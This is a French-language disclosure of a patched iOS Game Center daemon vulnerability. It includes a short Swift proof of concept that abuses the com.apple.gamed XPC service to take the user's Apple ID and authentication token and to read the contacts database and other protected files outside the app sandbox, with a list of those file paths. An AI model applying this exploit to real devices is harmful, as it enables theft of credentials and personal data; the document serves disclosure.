
Exploit de jeu iOS (corrigé dans 15.0.2)
Mise à jour : Apple a discrètement corrigé ce problème dans iOS 15.0.2 sans aucune reconnaissance publique ni crédit.
Toute application installée depuis l'App Store peut accéder aux données suivantes sans aucune invite de l'utilisateur :
Voici une courte preuve de concept.
let connection = NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)!
let proxy = connection.remoteObjectProxyWithErrorHandler({ _ in }) as! GKDaemonProtocol
let pid = ProcessInfo.processInfo.processIdentifier
proxy.getServicesForPID(pid, localPlayer: nil, reply: { (accountService, _, _, _, _, _, _, _, utilityService, _, _, _, _) in
accountService.authenticatePlayerWithExistingCredentials(handler: { response, error in
let appleID = response.credential.accountName
let token = response.credential.authenticationToken
}
utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), subdirectory: nil, fileName: nil, handler: { data in
let addressBookData = data
}
}
Comment cela se produit :
com.apple.gamed ne vérifie pas correctement l'entitlement com.apple.developer.game-centergetServicesForPID:localPlayer:reply: renvoie plusieurs objets proxy XPC (GKAccountService, GKFriendService, GKUtilityService, etc.).com.apple.developer.game-center), l'appel de authenticatePlayerWithExistingCredentialsWithHandler: sur GKAccountService renvoie un objet contenant l'Apple ID de l'utilisateur, le DSID et le jeton d'authentification Game Center (qui permet d'envoyer des requêtes à https://gc.apple.com au nom de l'utilisateur). L'appel de getProfilesForPlayerIDs:handler: sur GKProfileService renvoie un objet contenant le prénom et le nom de l'Apple ID de l'utilisateur. L'appel de getFriendsForPlayer:handler: sur GKFriendService renvoie un objet avec des informations sur l'ami de l'utilisateur dans Game Center.com.apple.developer.game-center, l'appel de requestImageDataForURL:subdirectory:fileName:handler: sur GKUtilityService permet de lire des fichiers arbitraires en dehors du sandbox de l'application en transmettant des URL de fichiers à cette méthode. Parmi les fichiers (sans s'y limiter) auxquels il est possible d'accéder de cette façon figurent :
/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist - contient le cache mobile gestalt
/var/mobile/Library/CoreDuet/People/interactionC.db - contient une liste de contacts issus de Mail, SMS, iMessage, d'applications de messagerie tierces et des métadonnées sur l'interaction de l'utilisateur avec ces contacts (y compris horodatages et statistiques)
/var/mobile/Library/Preferences/com.apple.mobilephone.speeddial.plist - contient les contacts favoris et leurs numéros de téléphone
/var/mobile/Library/AddressBook/AddressBook.sqlitedb - contient la base de données complète du carnet d'adresses
/var/mobile/Library/AddressBook/AddressBookImages.sqlitedb - contient les photos des contacts du carnet d'adressescacheImageData:inSubdirectory:withFileName:handler: sur GKUtilityService pourrait permettre d'écrire des données arbitraires vers un emplacement en dehors du sandbox de l'application.Sur la page du programme Apple Security Bounty, cette vulnérabilité est évaluée à 100 000 $ (accès étendu de l'application à des données sensibles normalement protégées par une invite TCC ou le sandbox de la plateforme. L'accès aux « données sensibles » inclut l'obtention d'un accès étendu (c'est-à-dire la base de données complète) aux Contacts).